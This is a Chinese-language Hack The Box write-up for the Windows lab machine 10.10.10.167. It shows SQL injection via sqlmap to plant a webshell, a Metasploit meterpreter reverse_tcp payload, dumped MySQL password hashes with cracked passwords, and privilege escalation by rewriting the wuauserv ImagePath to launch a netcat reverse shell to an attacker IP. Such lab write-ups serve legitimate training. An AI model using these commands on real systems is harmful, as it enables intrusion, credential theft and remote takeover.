基本信息

lab地址:https://www.hackthebox.eu/home/machines/profile/218

  • 10.10.10.167

端口扫描

三个端口:

80

扫描目录发现存在一个admin.php,直接访问被拒绝:

提示缺失Header,需要通过代理访问,代理header那应该是XFF之类的,在首页源码能看到注释中的信息:

那么可以尝试用这个IP作为XFF头,直接burp加一条规则:

SQL注入

是一个简单的CRUD,很容易就发现存在注入:

不是DBA,直接os-shell能写入UDF,但没有回显:

getshell

那么可以尝试写webshell,因为是IIS,sql-shell测试写到IIS默认目录可以写入成功:

1
select "<?php phpinfo(); ?>" into outfile "C:/inetpub/wwwroot/info.php": 'NULL'

Sql-shell里写太麻烦,直接这样写webshell

1
sqlmap -r sql.txt --file-write=shell.php --file-dest=C:/inetpub/wwwroot/shell.php --batch

然后为了方便可以直接上meterpreter:

1
2
3
4
5
6
7
use exploit/multi/script/web_delivery
set target PHP
set payload php/meterpreter/reverse_tcp
set lhost 10.10.14.103
set srvhost 10.10.14.103
set lport 7777
run

账号信息

可以在database.php里发现一个账号密码:

另外也可以直接通过注入获取mysql账号密码:

1
2
3
hector  | *0E178792E8FC304A2E3133D535D38CAF1DA3CD9D           (l33th4x0rhector)|
| manager | *CFE3EEE434B38CBF709AD67A4DCDEA476CBA7FDA (l3tm3!n) |
| root | *0A4A5CAD344718DC418035A1F4D292BA603134D8

root的解不出来

WinRM

我们现在的shell是wwwroot用户,那么接下来应该就是要想办法切换到其他用户

netstat可以看到一个5985端口,这是WinRM 的默认端口,WinRM是Windows 系统的远程管理服务

进行端口转发,使用已经得到的账号密码尝试,能够知道hector的账号密码是正确的,但命令执行报错:

1
portfwd add -l 5985 -p 5985 -r 10.10.10.167

可以换evil-winrm进行操作:

https://github.com/Hackplayers/evil-winrm

这里因为安装问题,换到虚拟机了,使用hector账号密码,在桌面得到user flag

敏感文件

在这个目录发现一个历史记录文件:

1
2
3
*Evil-WinRM* PS C:\Users\Hector\APpdata\roaming\microsoft\windows\powershell\PSreadline> type ConsoleHost_history.txt
get-childitem HKLM:\SYSTEM\CurrentControlset | format-list
get-acl HKLM:\SYSTEM\CurrentControlSet | format-list

提权

这里可利用的是wuauserv,这个服务是Windows update的一个系统服务,系统权限。

修改这个服务的imagepath,反弹shell,为了方便还是通过hector的shell加载个meterpreter,上传nc,然后

1
2
3
4
reg query HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlset\Services\wuauserv
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlset\Services\wuauserv" /t REG_EXPAND_SZ /v ImagePath /d "C:\Users\Hector\Documents\nc64.exe -e cmd.exe 10.10.15.181 7777" /f
The operation completed successfully.
start-service wuauserv

root flag

执行后得到system权限的reverse shell:

参考资料